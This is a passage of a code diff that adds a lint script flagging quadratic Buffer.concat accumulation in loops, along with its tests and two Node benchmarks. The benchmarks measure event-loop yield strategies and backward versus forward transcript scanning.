parent &&
|
||||
ts.isBinaryExpression(parent) &&
|
||||
parent.operatorToken.kind === ts.SyntaxKind.EqualsToken &&
|
||||
parent.right === node
|
||||
) {
|
||||
return {
|
||||
text: normalizeReferenceText(parent.left.getText()),
|
||||
root: rootReferenceText(parent.left)
|
||||
}
|
||||
}
|
||||
return undefined
|
||||
}
|
||||
|
||||
function concatOperands(call) {
|
||||
return call.arguments[0].elements.map((element) => {
|
||||
const spread = ts.isSpreadElement(element)
|
||||
const expression = spread ? element.expression : element
|
||||
return {
|
||||
spread,
|
||||
text: normalizeReferenceText(expression.getText()),
|
||||
root: rootReferenceText(expression)
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
// A binding reset on every iteration cannot accumulate; only one that outlives
|
||||
// the iteration carries the cost forward.
|
||||
function isLoopCarried(root, loop, declarations) {
|
||||
const starts = declarations.get(root)
|
||||
if (!starts) {
|
||||
return true
|
||||
}
|
||||
return !starts.some((start) => isDeclaredInsideLoop(start, loop))
|
||||
}
|
||||
|
||||
function quadraticAccumulator(call, loop, declarations, assignedRoots) {
|
||||
const operands = concatOperands(call)
|
||||
const target = assignmentTargetOf(call)
|
||||
// The result feeds straight back into its own input: every iteration re-copies
|
||||
// everything accumulated so far.
|
||||
const selfOperand = target
|
||||
? operands.find((operand) => operand.text === target.text || operand.root === target.root)
|
||||
: undefined
|
||||
if (selfOperand && target.root && isLoopCarried(target.root, loop, declarations)) {
|
||||
return target.text
|
||||
}
|
||||
|
||||
// No direct self-assignment, so look for a loop-carried operand reassigned
|
||||
// inside the loop: the concat result reaches it by some other path. Spread
|
||||
// operands are the sanctioned chunk-list fix, not this bug, so skip them.
|
||||
for (const operand of operands) {
|
||||
if (operand.spread || !operand.root || !assignedRoots.has(operand.root)) {
|
||||
continue
|
||||
}
|
||||
if (isLoopCarried(operand.root, loop, declarations)) {
|
||||
return operand.root
|
||||
}
|
||||
}
|
||||
return undefined
|
||||
}
|
||||
|
||||
export function reportQuadraticBufferConcat(filePath, sourceText) {
|
||||
if (!sourceText.includes('Buffer.concat')) {
|
||||
return []
|
||||
}
|
||||
const sourceFile = ts.createSourceFile(filePath, sourceText, ts.ScriptTarget.Latest, true)
|
||||
const declarations = collectDeclarations(sourceFile)
|
||||
const assignedRootsByLoop = new Map()
|
||||
const reports = []
|
||||
const seen = new Set()
|
||||
|
||||
const visit = (node) => {
|
||||
if (isBufferConcatCall(node)) {
|
||||
const loop = enclosingLoop(node)
|
||||
if (loop) {
|
||||
let assignedRoots = assignedRootsByLoop.get(loop)
|
||||
if (!assignedRoots) {
|
||||
assignedRoots = collectAssignedRoots(loop)
|
||||
assignedRootsByLoop.set(loop, assignedRoots)
|
||||
}
|
||||
const accumulator = quadraticAccumulator(node, loop, declarations, assignedRoots)
|
||||
if (accumulator) {
|
||||
const start = node.getStart(sourceFile)
|
||||
if (!seen.has(start)) {
|
||||
seen.add(start)
|
||||
const { line, character } = sourceFile.getLineAndCharacterOfPosition(start)
|
||||
reports.push({
|
||||
filePath,
|
||||
line: line + 1,
|
||||
column: character + 1,
|
||||
accumulator,
|
||||
text: node.getText()
|
||||
})
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
ts.forEachChild(node, visit)
|
||||
}
|
||||
|
||||
visit(sourceFile)
|
||||
return reports
|
||||
}
|
||||
|
||||
export function normalizePath(root, filePath) {
|
||||
return path.relative(root, filePath).split(path.sep).join('/')
|
||||
}
|
||||
|
||||
function isSkippedFile(root, filePath) {
|
||||
const relative = normalizePath(root, filePath)
|
||||
// Benchmarks keep the pre-fix shape on purpose so they can measure against it.
|
||||
if (
|
||||
relative.includes('.test.') ||
|
||||
relative.includes('.spec.') ||
|
||||
relative.includes('-benchmark.')
|
||||
) {
|
||||
return true
|
||||
}
|
||||
return relative.split('/').some((part) => SKIP_PATH_PARTS.has(part))
|
||||
}
|
||||
|
||||
async function collectSourceFiles(root, dir) {
|
||||
let entries
|
||||
try {
|
||||
entries = await fs.readdir(dir, { withFileTypes: true })
|
||||
} catch {
|
||||
return []
|
||||
}
|
||||
const files = []
|
||||
|
||||
for (const entry of entries) {
|
||||
const fullPath = path.join(dir, entry.name)
|
||||
if (entry.isDirectory()) {
|
||||
if (!SKIP_PATH_PARTS.has(entry.name)) {
|
||||
files.push(...(await collectSourceFiles(root, fullPath)))
|
||||
}
|
||||
} else if (
|
||||
entry.isFile() &&
|
||||
SOURCE_EXTENSIONS.has(path.extname(entry.name)) &&
|
||||
!isSkippedFile(root, fullPath)
|
||||
) {
|
||||
files.push(fullPath)
|
||||
}
|
||||
}
|
||||
|
||||
return files
|
||||
}
|
||||
|
||||
function formatReports(root, reports) {
|
||||
return reports
|
||||
.map(
|
||||
(report) =>
|
||||
`${normalizePath(root, report.filePath)}:${report.line}:${report.column} ${report.accumulator} — ${report.text.replaceAll(/\s+/g, ' ')}`
|
||||
)
|
||||
.join('\n')
|
||||
}
|
||||
|
||||
export async function main(root = process.cwd()) {
|
||||
const reports = []
|
||||
for (const scanRoot of SCAN_ROOTS) {
|
||||
const files = await collectSourceFiles(root, path.join(root, scanRoot))
|
||||
for (const filePath of files) {
|
||||
const sourceText = await fs.readFile(filePath, 'utf8')
|
||||
reports.push(...reportQuadraticBufferConcat(filePath, sourceText))
|
||||
}
|
||||
}
|
||||
if (reports.length === 0) {
|
||||
return 0
|
||||
}
|
||||
|
||||
console.error('Buffer.concat must not rebuild a loop-carried accumulator.')
|
||||
console.error('Each iteration re-copies everything accumulated so far, so the loop is O(n^2).')
|
||||
console.error('Collect the pieces in a Buffer[] and Buffer.concat(chunks) once, after the loop.')
|
||||
console.error('')
|
||||
console.error(formatReports(root, reports))
|
||||
return 1
|
||||
}
|
||||
|
||||
if (process.argv[1] && import.meta.url === pathToFileURL(process.argv[1]).href) {
|
||||
process.exit(await main())
|
||||
}
|
||||
@@ -0,0 +1,146 @@
|
||||
import { describe, expect, it } from 'vitest'
|
||||
|
||||
import { reportQuadraticBufferConcat } from './check-quadratic-buffer-concat.mjs'
|
||||
|
||||
describe('check-quadratic-buffer-concat', () => {
|
||||
it('reports an accumulator rebuilt from itself in a for-of loop', () => {
|
||||
const reports = reportQuadraticBufferConcat(
|
||||
'Example.ts',
|
||||
'let acc = Buffer.alloc(0); for (const chunk of chunks) { acc = Buffer.concat([acc, chunk]) }'
|
||||
)
|
||||
|
||||
expect(reports).toHaveLength(1)
|
||||
expect(reports[0].accumulator).toBe('acc')
|
||||
})
|
||||
|
||||
it('reports the accumulator when it trails the new chunk', () => {
|
||||
const reports = reportQuadraticBufferConcat(
|
||||
'Example.ts',
|
||||
'let acc = Buffer.alloc(0); for (const chunk of chunks) { acc = Buffer.concat([chunk, acc]) }'
|
||||
)
|
||||
|
||||
expect(reports).toHaveLength(1)
|
||||
})
|
||||
|
||||
it('reports a spread of the accumulator into its own concat', () => {
|
||||
const reports = reportQuadraticBufferConcat(
|
||||
'Example.ts',
|
||||
'let acc = Buffer.alloc(0); for (const chunk of chunks) { acc = Buffer.concat([...acc, chunk]) }'
|
||||
)
|
||||
|
||||
expect(reports).toHaveLength(1)
|
||||
})
|
||||
|
||||
it('reports the real pre-fix ai-vault stream carry', () => {
|
||||
const reports = reportQuadraticBufferConcat(
|
||||
'session-scanner-parse-cache.ts',
|
||||
`async function read(stream) {
|
||||
let remainder = null
|
||||
for await (const chunk of stream) {
|
||||
const data = remainder ? Buffer.concat([remainder, chunk]) : chunk
|
||||
remainder = Buffer.from(data.subarray(lineStart))
|
||||
}
|
||||
}`
|
||||
)
|
||||
|
||||
expect(reports).toHaveLength(1)
|
||||
expect(reports[0].accumulator).toBe('remainder')
|
||||
})
|
||||
|
||||
it('reports the real pre-fix transcript reader carry, which never names itself on the left', () => {
|
||||
const reports = reportQuadraticBufferConcat(
|
||||
'agent-hook-listener.ts',
|
||||
`function read(fd, size) {
|
||||
let carryBytes = Buffer.alloc(0)
|
||||
while (bytesRead < size) {
|
||||
const combined = Buffer.concat([buffer.subarray(0, n), carryBytes])
|
||||
carryBytes = combined.subarray(0, firstNewline)
|
||||
}
|
||||
}`
|
||||
)
|
||||
|
||||
expect(reports).toHaveLength(1)
|
||||
expect(reports[0].accumulator).toBe('carryBytes')
|
||||
})
|
||||
|
||||
it('accepts the chunk-list fix that joins once after the loop', () => {
|
||||
const reports = reportQuadraticBufferConcat(
|
||||
'Example.ts',
|
||||
'const parts = []; for (const chunk of chunks) { parts.push(chunk) } const out = Buffer.concat(parts)'
|
||||
)
|
||||
|
||||
expect(reports).toHaveLength(0)
|
||||
})
|
||||
|
||||
it('accepts spreading a carry chunk list, which is the sanctioned fix', () => {
|
||||
const reports = reportQuadraticBufferConcat(
|
||||
'Example.ts',
|
||||
`let carryChunks = []
|
||||
while (scanEnd > 0) {
|
||||
const region = carryChunks.length === 0 ? buffer : Buffer.concat([buffer, ...carryChunks])
|
||||
carryChunks = [buffer.subarray(0, firstNewline)]
|
||||
}`
|
||||
)
|
||||
|
||||
expect(reports).toHaveLength(0)
|
||||
})
|
||||
|
||||
it('accepts a concat whose result never outlives the iteration', () => {
|
||||
const reports = reportQuadraticBufferConcat(
|
||||
'Example.ts',
|
||||
'for (const group of groups) { const frame = Buffer.concat([group.header, group.body]); send(frame) }'
|
||||
)
|
||||
|
||||
expect(reports).toHaveLength(0)
|
||||
})
|
||||
|
||||
it('accepts a loop-local buffer declared and rebuilt inside the same iteration', () => {
|
||||
const reports = reportQuadraticBufferConcat(
|
||||
'Example.ts',
|
||||
'for (const chunk of chunks) { let framed = HEADER; framed = Buffer.concat([framed, chunk]); send(framed) }'
|
||||
)
|
||||
|
||||
expect(reports).toHaveLength(0)
|
||||
})
|
||||
|
||||
it('reports an accumulator declared in a classic for initializer', () => {
|
||||
const reports = reportQuadraticBufferConcat(
|
||||
'Example.ts',
|
||||
'for (let acc = Buffer.alloc(0), i = 0; i < n; i++) { acc = Buffer.concat([acc, chunks[i]]) }'
|
||||
)
|
||||
|
||||
expect(reports).toHaveLength(1)
|
||||
})
|
||||
|
||||
it('reports a class field accumulator rebuilt inside a loop', () => {
|
||||
const reports = reportQuadraticBufferConcat(
|
||||
'Example.ts',
|
||||
'class Reader { read() { while (this.open) { this.pending = Buffer.concat([this.pending, chunk]) } } }'
|
||||
)
|
||||
|
||||
expect(reports).toHaveLength(1)
|
||||
expect(reports[0].accumulator).toBe('this.pending')
|
||||
})
|
||||
|
||||
it('reports an accumulator guarded by an emptiness ternary', () => {
|
||||
const reports = reportQuadraticBufferConcat(
|
||||
'Example.ts',
|
||||
'let acc = Buffer.alloc(0); while (open) { acc = acc.length === 0 ? chunk : Buffer.concat([acc, chunk]) }'
|
||||
)
|
||||
|
||||
expect(reports).toHaveLength(1)
|
||||
})
|
||||
|
||||
it('ignores a per-event accumulator with no enclosing loop', () => {
|
||||
const reports = reportQuadraticBufferConcat(
|
||||
'scrcpy-stream-session.ts',
|
||||
'class S { handleVideoChunk(chunk) { let buffer = Buffer.concat([this.pendingVideo, chunk]); this.pendingVideo = parse(buffer).pending } }'
|
||||
)
|
||||
|
||||
expect(reports).toHaveLength(0)
|
||||
})
|
||||
|
||||
it('ignores files with no Buffer.concat at all', () => {
|
||||
expect(reportQuadraticBufferConcat('Example.ts', 'export const x = 1')).toHaveLength(0)
|
||||
})
|
||||
})
|
||||
@@ -0,0 +1,190 @@
|
||||
#!/usr/bin/env node
|
||||
// Benchmark: the event-loop yield in the Claude usage scanner's batch loops.
|
||||
//
|
||||
// scanner.ts yielded with `setTimeout(resolve, 0)`, which Node clamps to ~1ms. The
|
||||
// loops yield once per FILE_SCAN_BATCH_SIZE files across two passes, so a machine with
|
||||
// thousands of transcripts spent seconds parked on timers doing no work. setImmediate
|
||||
// yields on the same tick's check phase with no clamp. The sibling scanner
|
||||
// (src/main/codex-usage/scanner.ts) already used setImmediate.
|
||||
//
|
||||
// The yield exists to keep the main process responsive during a scan, so this also
|
||||
// measures worst-case latency for a concurrent task -- a "faster" yield that starved
|
||||
// other work would be a regression, not a win.
|
||||
//
|
||||
// Run with: node config/scripts/claude-usage-yield-benchmark.mjs
|
||||
import { readFileSync } from 'node:fs'
|
||||
import { homedir } from 'node:os'
|
||||
import { join } from 'node:path'
|
||||
import { performance } from 'node:perf_hooks'
|
||||
import { readdirSync, statSync } from 'node:fs'
|
||||
|
||||
const REPO_ROOT = new URL('../..', import.meta.url)
|
||||
const ROUNDS = Number(process.env.ORCA_YIELD_BENCH_ROUNDS ?? '10')
|
||||
|
||||
// Why re-read the source: the claim is that the scanner yields once per batch across
|
||||
// two loops. If the batch size or the yield sites change, these numbers stop meaning
|
||||
// what the header says, so fail loudly instead of reporting a stale ratio.
|
||||
const SCANNER_SOURCE = readFileSync(new URL('src/main/claude-usage/scanner.ts', REPO_ROOT), 'utf8')
|
||||
const batchMatch = SCANNER_SOURCE.match(/const FILE_SCAN_BATCH_SIZE = (\d+)/)
|
||||
if (!batchMatch) {
|
||||
throw new Error('FILE_SCAN_BATCH_SIZE not found; this benchmark is stale')
|
||||
}
|
||||
const FILE_SCAN_BATCH_SIZE = Number(batchMatch[1])
|
||||
const YIELD_SITES = (SCANNER_SOURCE.match(/await yieldToEventLoop\(\)/g) ?? []).length
|
||||
if (YIELD_SITES === 0) {
|
||||
throw new Error('no yieldToEventLoop call sites found; this benchmark is stale')
|
||||
}
|
||||
// Match the call, not the word: a comment mentioning setImmediate would satisfy a
|
||||
// bare substring check even after the yield reverted to setTimeout.
|
||||
if (!/setImmediate\(resolve\)/.test(SCANNER_SOURCE)) {
|
||||
throw new Error('scanner no longer yields with setImmediate; this benchmark is stale')
|
||||
}
|
||||
|
||||
// Real transcript count drives the yield count, so read it rather than assume one.
|
||||
function countClaudeTranscripts() {
|
||||
const root = join(homedir(), '.claude', 'projects')
|
||||
let count = 0
|
||||
const stack = [root]
|
||||
while (stack.length > 0) {
|
||||
const dir = stack.pop()
|
||||
let entries
|
||||
try {
|
||||
entries = readdirSync(dir, { withFileTypes: true })
|
||||
} catch {
|
||||
continue
|
||||
}
|
||||
for (const entry of entries) {
|
||||
if (entry.isDirectory()) {
|
||||
stack.push(join(dir, entry.name))
|
||||
} else if (entry.name.endsWith('.jsonl')) {
|
||||
count += 1
|
||||
}
|
||||
}
|
||||
}
|
||||
return count
|
||||
}
|
||||
|
||||
const transcriptCount = (() => {
|
||||
try {
|
||||
statSync(join(homedir(), '.claude', 'projects'))
|
||||
return countClaudeTranscripts()
|
||||
} catch {
|
||||
return 0
|
||||
}
|
||||
})()
|
||||
|
||||
const FALLBACK_TRANSCRIPTS = 7500
|
||||
const effectiveTranscripts = transcriptCount > 0 ? transcriptCount : FALLBACK_TRANSCRIPTS
|
||||
// Each pass walks ceil(files / batch) batches and yields after every batch except the
|
||||
// last, so a pass yields batchesPerPass - 1 times.
|
||||
const BATCHES_PER_PASS = Math.max(1, Math.ceil(effectiveTranscripts / FILE_SCAN_BATCH_SIZE))
|
||||
const YIELDS_PER_SCAN = Math.max(1, (BATCHES_PER_PASS - 1) * YIELD_SITES)
|
||||
|
||||
const yieldWithTimeout = () => new Promise((resolve) => setTimeout(resolve, 0))
|
||||
const yieldWithImmediate = () => new Promise((resolve) => setImmediate(resolve))
|
||||
|
||||
// Mirrors the scanner's shape: a little synchronous work per batch, then a yield.
|
||||
async function runBatchLoop(doYield, batches) {
|
||||
let sink = 0
|
||||
for (let batch = 0; batch < batches; batch += 1) {
|
||||
for (let file = 0; file < FILE_SCAN_BATCH_SIZE; file += 1) {
|
||||
sink += (batch * 31 + file) % 7
|
||||
}
|
||||
if (batch + 1 < batches) {
|
||||
await doYield()
|
||||
}
|
||||
}
|
||||
return sink
|
||||
}
|
||||
|
||||
async function timeArm(doYield, batches) {
|
||||
const start = performance.now()
|
||||
const sink = await runBatchLoop(doYield, batches)
|
||||
const elapsed = performance.now() - start
|
||||
if (sink === -1) {
|
||||
throw new Error('unreachable')
|
||||
}
|
||||
return elapsed
|
||||
}
|
||||
|
||||
function median(samples) {
|
||||
const sorted = [...samples].sort((a, b) => a - b)
|
||||
const mid = sorted.length / 2
|
||||
return (sorted[mid - 1] + sorted[mid]) / 2
|
||||
}
|
||||
|
||||
// Arms alternate which one leads so within-round drift cannot favour either.
|
||||
async function measure(batches) {
|
||||
await runBatchLoop(yieldWithTimeout, Math.min(batches, 50))
|
||||
await runBatchLoop(yieldWithImmediate, Math.min(batches, 50))
|
||||
const timeoutSamples = []
|
||||
const immediateSamples = []
|
||||
for (let round = 0; round < ROUNDS; round += 1) {
|
||||
if (round % 2 === 0) {
|
||||
timeoutSamples.push(await timeArm(yieldWithTimeout, batches))
|
||||
immediateSamples.push(await timeArm(yieldWithImmediate, batches))
|
||||
} else {
|
||||
immediateSamples.push(await timeArm(yieldWithImmediate, batches))
|
||||
timeoutSamples.push(await timeArm(yieldWithTimeout, batches))
|
||||
}
|
||||
}
|
||||
return { timeoutMs: median(timeoutSamples), immediateMs: median(immediateSamples) }
|
||||
}
|
||||
|
||||
// The yield exists for responsiveness, so measure what a concurrent task actually sees.
|
||||
async function measureConcurrentLatency(doYield, batches) {
|
||||
let worstLatencyMs = 0
|
||||
let stop = false
|
||||
const probe = (async () => {
|
||||
while (!stop) {
|
||||
const tick = performance.now()
|
||||
await new Promise((resolve) => setImmediate(resolve))
|
||||
worstLatencyMs = Math.max(worstLatencyMs, performance.now() - tick)
|
||||
}
|
||||
})()
|
||||
const start = performance.now()
|
||||
await runBatchLoop(doYield, batches)
|
||||
const scanMs = performance.now() - start
|
||||
stop = true
|
||||
await probe
|
||||
return { scanMs, worstLatencyMs }
|
||||
}
|
||||
|
||||
const pad = (value, width) => String(value).padStart(width)
|
||||
console.log('Claude usage scanner event-loop yield. Lower is better.')
|
||||
console.log(
|
||||
`transcripts=${transcriptCount > 0 ? transcriptCount : `${FALLBACK_TRANSCRIPTS} (none found; synthetic)`} batch=${FILE_SCAN_BATCH_SIZE} sites=${YIELD_SITES} -> ~${YIELDS_PER_SCAN} yields/scan`
|
||||
)
|
||||
console.log(
|
||||
`${pad('yields', 8)} ${pad('setTimeout(0)', 14)} ${pad('setImmediate', 13)} ${pad('speedup', 9)} ${pad('saved', 11)}`
|
||||
)
|
||||
|
||||
for (const yields of [100, 500, YIELDS_PER_SCAN]) {
|
||||
// runBatchLoop yields batches - 1 times, so ask for one more batch than yields.
|
||||
const batches = yields + 1
|
||||
const { timeoutMs, immediateMs } = await measure(batches)
|
||||
// Why report the absolute saving too: the setImmediate arm is small enough that
|
||||
// background load moves the RATIO a lot while the removed wall time barely budges.
|
||||
console.log(
|
||||
`${pad(yields, 8)} ${pad(`${timeoutMs.toFixed(1)} ms`, 14)} ${pad(`${immediateMs.toFixed(1)} ms`, 13)} ${pad(`${(timeoutMs / immediateMs).toFixed(1)}x`, 9)} ${pad(`${(timeoutMs - immediateMs).toFixed(0)} ms`, 11)}`
|
||||
)
|
||||
}
|
||||
|
||||
console.log('\nResponsiveness (the reason the yield exists) at a full scan:')
|
||||
const timeoutLatency = await measureConcurrentLatency(yieldWithTimeout, YIELDS_PER_SCAN + 1)
|
||||
const immediateLatency = await measureConcurrentLatency(yieldWithImmediate, YIELDS_PER_SCAN + 1)
|
||||
console.log(
|
||||
` setTimeout(0): scan ${timeoutLatency.scanMs.toFixed(0)} ms, worst concurrent wait ${timeoutLatency.worstLatencyMs.toFixed(2)} ms`
|
||||
)
|
||||
console.log(
|
||||
` setImmediate : scan ${immediateLatency.scanMs.toFixed(0)} ms, worst concurrent wait ${immediateLatency.worstLatencyMs.toFixed(2)} ms`
|
||||
)
|
||||
if (immediateLatency.worstLatencyMs > timeoutLatency.worstLatencyMs) {
|
||||
console.log(
|
||||
'\n NOTE: setImmediate showed a WORSE concurrent wait here. The yield exists for\n responsiveness, so that would be a regression even though the scan is faster.'
|
||||
)
|
||||
}
|
||||
|
||||
console.log(
|
||||
'\nRead the SAVED column, not the ratio. The setImmediate arm is small enough that\nbackground load swings the ratio (32x-81x observed across runs on a loaded machine)\nwhile the removed wall time stays at ~4.2-5.1 s. The saving is wall-clock the main\nprocess spent parked on timer clamps, not CPU work removed. It is paid on every\nUsage-pane scan and every forced automation rescan.'
|
||||
)
|
||||
@@ -0,0 +1,427 @@
|
||||
#!/usr/bin/env node
|
||||
// Benchmark: cost of resolving a Command Code turn prompt from the transcript,
|
||||
// paid on EVERY command-code hook event (PreToolUse/PostToolUse fire once per
|
||||
// tool call, so many per second during an active agent turn).
|
||||
//
|
||||
// Before the fix, readLastCommandCodeUserPromptEntryFromTranscript() read up to
|
||||
// TRANSCRIPT_MAX_SCAN_BYTES (4 MB) synchronously, decoded it all to a JS string,
|
||||
// and JSON-parsed EVERY line to the end of the buffer to find the LAST user
|
||||
// entry — so cost grew with the transcript, which only grows as a session runs.
|
||||
//
|
||||
// The fix scans backward from EOF in TRANSCRIPT_CHUNK_BYTES blocks and returns
|
||||
// on the first user line, the shape the sibling readLastTextFromTranscriptOnce
|
||||
// already used. The answer sits near EOF in a real session (the current turn's
|
||||
// prompt precedes only this turn's output), so the scan reads one or two blocks
|
||||
// instead of the whole file.
|
||||
//
|
||||
// Both implementations are mirrored here: node cannot import the .ts source,
|
||||
// matching the other benchmarks in this directory. Constants are re-read from
|
||||
// the real module so a drifted cap fails loudly instead of measuring dead code.
|
||||
import {
|
||||
closeSync,
|
||||
mkdtempSync,
|
||||
openSync,
|
||||
readFileSync,
|
||||
readSync,
|
||||
rmSync,
|
||||
statSync,
|
||||
writeFileSync
|
||||
} from 'node:fs'
|
||||
import { tmpdir } from 'node:os'
|
||||
import { join } from 'node:path'
|
||||
import { performance } from 'node:perf_hooks'
|
||||
import { fileURLToPath } from 'node:url'
|
||||
|
||||
const LISTENER_SOURCE = readFileSync(
|
||||
fileURLToPath(new URL('../../src/shared/agent-hook-listener.ts', import.meta.url)),
|
||||
'utf8'
|
||||
)
|
||||
|
||||
function readMirroredConstant(name) {
|
||||
const match = LISTENER_SOURCE.match(new RegExp(`const ${name} = ([^\\n]+)`))
|
||||
if (!match) {
|
||||
throw new Error(`agent-hook-listener.ts no longer defines ${name}; re-sync this benchmark.`)
|
||||
}
|
||||
const value = Number(new Function(`return (${match[1]})`)())
|
||||
if (!Number.isInteger(value) || value <= 0) {
|
||||
throw new Error(`${name} did not resolve to a positive integer`)
|
||||
}
|
||||
return value
|
||||
}
|
||||
|
||||
const TRANSCRIPT_CHUNK_BYTES = readMirroredConstant('TRANSCRIPT_CHUNK_BYTES')
|
||||
const TRANSCRIPT_MAX_SCAN_BYTES = readMirroredConstant('TRANSCRIPT_MAX_SCAN_BYTES')
|
||||
const EMPTY_REGION = Buffer.alloc(0)
|
||||
const ITERATIONS = Number.parseInt(process.env.ORCA_CC_SCAN_BENCH_ITERATIONS ?? '150', 10)
|
||||
const WARMUP = Number.parseInt(process.env.ORCA_CC_SCAN_BENCH_WARMUP ?? '20', 10)
|
||||
|
||||
for (const [name, value] of [
|
||||
['ORCA_CC_SCAN_BENCH_ITERATIONS', ITERATIONS],
|
||||
['ORCA_CC_SCAN_BENCH_WARMUP', WARMUP]
|
||||
]) {
|
||||
if (!Number.isInteger(value) || value <= 0) {
|
||||
throw new Error(`${name} must be a positive integer, received ${value}`)
|
||||
}
|
||||
}
|
||||
|
||||
// Mirror of parseAgentHookJson: the real reader scans a line's structure before
|
||||
// parsing it, on BOTH sides of this comparison. Omitting it made the pre-fix
|
||||
// column ~9x too fast and invented a regression that does not exist.
|
||||
const HOOK_STRUCTURAL_TOKENS = 128 * 1024
|
||||
const HOOK_NESTING_DEPTH = 64
|
||||
|
||||
function assertJsonStructure(content) {
|
||||
let structuralTokens = 0
|
||||
let depth = 0
|
||||
let inString = false
|
||||
let escaped = false
|
||||
for (let index = 0; index < content.length; index += 1) {
|
||||
const character = content[index]
|
||||
if (inString) {
|
||||
if (escaped) {
|
||||
escaped = false
|
||||
} else if (character === '\\') {
|
||||
escaped = true
|
||||
} else if (character === '"') {
|
||||
inString = false
|
||||
}
|
||||
continue
|
||||
}
|
||||
if (character === '"') {
|
||||
inString = true
|
||||
continue
|
||||
}
|
||||
if (
|
||||
character !== '{' &&
|
||||
character !== '}' &&
|
||||
character !== '[' &&
|
||||
character !== ']' &&
|
||||
character !== ',' &&
|
||||
character !== ':'
|
||||
) {
|
||||
continue
|
||||
}
|
||||
structuralTokens += 1
|
||||
if (structuralTokens > HOOK_STRUCTURAL_TOKENS) {
|
||||
throw new Error('structuralTokens')
|
||||
}
|
||||
if (character === '{' || character === '[') {
|
||||
depth += 1
|
||||
if (depth > HOOK_NESTING_DEPTH) {
|
||||
throw new Error('nestingDepth')
|
||||
}
|
||||
} else if (character === '}' || character === ']') {
|
||||
depth = Math.max(0, depth - 1)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
function extractUserPrompt(line) {
|
||||
let entry
|
||||
try {
|
||||
assertJsonStructure(line)
|
||||
entry = JSON.parse(line)
|
||||
} catch {
|
||||
return undefined
|
||||
}
|
||||
if (typeof entry !== 'object' || entry === null || entry.role !== 'user') {
|
||||
return undefined
|
||||
}
|
||||
const content = entry.content
|
||||
if (typeof content === 'string' && content.trim().length > 0) {
|
||||
return content
|
||||
}
|
||||
if (Array.isArray(content)) {
|
||||
for (const part of content) {
|
||||
if (typeof part === 'object' && part !== null) {
|
||||
const text = part.text
|
||||
if (typeof text === 'string' && text.trim().length > 0) {
|
||||
return text
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return undefined
|
||||
}
|
||||
|
||||
// Pre-fix: read the capped window, then parse every line to the end.
|
||||
function readForward(path) {
|
||||
const size = statSync(path).size
|
||||
if (size <= 0) {
|
||||
return undefined
|
||||
}
|
||||
const bytesToRead = Math.min(size, TRANSCRIPT_MAX_SCAN_BYTES)
|
||||
const position = size - bytesToRead
|
||||
const fd = openSync(path, 'r')
|
||||
try {
|
||||
const buffer = Buffer.alloc(bytesToRead)
|
||||
let filled = 0
|
||||
while (filled < bytesToRead) {
|
||||
const n = readSync(fd, buffer, filled, bytesToRead - filled, position + filled)
|
||||
if (n === 0) {
|
||||
break
|
||||
}
|
||||
filled += n
|
||||
}
|
||||
let text = buffer.subarray(0, filled).toString('utf8')
|
||||
if (position > 0) {
|
||||
const firstNewline = text.indexOf('\n')
|
||||
text = firstNewline === -1 ? '' : text.slice(firstNewline + 1)
|
||||
}
|
||||
let last
|
||||
for (const line of text.split('\n')) {
|
||||
const prompt = extractUserPrompt(line.trim())
|
||||
if (prompt !== undefined) {
|
||||
last = prompt
|
||||
}
|
||||
}
|
||||
return last
|
||||
} finally {
|
||||
closeSync(fd)
|
||||
}
|
||||
}
|
||||
|
||||
function findLastPromptInRegion(region) {
|
||||
let lineEnd = region.length
|
||||
for (let index = region.length - 1; index >= -1; index--) {
|
||||
if (index >= 0 && region[index] !== 0x0a) {
|
||||
continue
|
||||
}
|
||||
const lineStart = index + 1
|
||||
if (lineEnd > lineStart) {
|
||||
const prompt = extractUserPrompt(region.subarray(lineStart, lineEnd).toString('utf8').trim())
|
||||
if (prompt !== undefined) {
|
||||
return prompt
|
||||
}
|
||||
}
|
||||
lineEnd = index
|
||||
}
|
||||
return undefined
|
||||
}
|
||||
|
||||
// Post-fix: walk backward from EOF, return on the first user line. The carry is
|
||||
// a chunk list, not a re-joined buffer, so one oversized line stays linear.
|
||||
function readBackward(path) {
|
||||
const size = statSync(path).size
|
||||
if (size <= 0) {
|
||||
return undefined
|
||||
}
|
||||
const fd = openSync(path, 'r')
|
||||
try {
|
||||
let carryChunks = []
|
||||
let bytesRead = 0
|
||||
let scanEnd = size
|
||||
while (scanEnd > 0 && bytesRead < TRANSCRIPT_MAX_SCAN_BYTES) {
|
||||
const chunkSize = Math.min(
|
||||
scanEnd,
|
||||
TRANSCRIPT_CHUNK_BYTES,
|
||||
TRANSCRIPT_MAX_SCAN_BYTES - bytesRead
|
||||
)
|
||||
const position = scanEnd - chunkSize
|
||||
const buffer = Buffer.alloc(chunkSize)
|
||||
let filled = 0
|
||||
while (filled < chunkSize) {
|
||||
const n = readSync(fd, buffer, filled, chunkSize - filled, position + filled)
|
||||
if (n === 0) {
|
||||
break
|
||||
}
|
||||
filled += n
|
||||
}
|
||||
if (filled < chunkSize) {
|
||||
break
|
||||
}
|
||||
bytesRead += filled
|
||||
scanEnd = position
|
||||
const firstNewline = buffer.indexOf(0x0a)
|
||||
const atStart = position === 0
|
||||
let completeRegion
|
||||
if (atStart) {
|
||||
completeRegion = carryChunks.length === 0 ? buffer : Buffer.concat([buffer, ...carryChunks])
|
||||
carryChunks = []
|
||||
} else if (firstNewline === -1) {
|
||||
completeRegion = EMPTY_REGION
|
||||
carryChunks.unshift(buffer)
|
||||
} else {
|
||||
const afterNewline = buffer.subarray(firstNewline + 1)
|
||||
completeRegion =
|
||||
carryChunks.length === 0 ? afterNewline : Buffer.concat([afterNewline, ...carryChunks])
|
||||
carryChunks = [buffer.subarray(0, firstNewline)]
|
||||
}
|
||||
if (completeRegion.length > 0) {
|
||||
const found = findLastPromptInRegion(completeRegion)
|
||||
if (found !== undefined) {
|
||||
return found
|
||||
}
|
||||
}
|
||||
}
|
||||
return undefined
|
||||
} finally {
|
||||
closeSync(fd)
|
||||
}
|
||||
}
|
||||
|
||||
// A real session: many completed turns, then THIS turn's prompt, then the tool
|
||||
// output produced since. The prompt therefore sits near EOF.
|
||||
function writeTranscript(path, priorTurns) {
|
||||
const lines = []
|
||||
for (let index = 0; index < priorTurns; index += 1) {
|
||||
lines.push(
|
||||
JSON.stringify({ role: 'user', content: [{ type: 'text', text: `older turn ${index}` }] })
|
||||
)
|
||||
lines.push(
|
||||
JSON.stringify({
|
||||
role: 'assistant',
|
||||
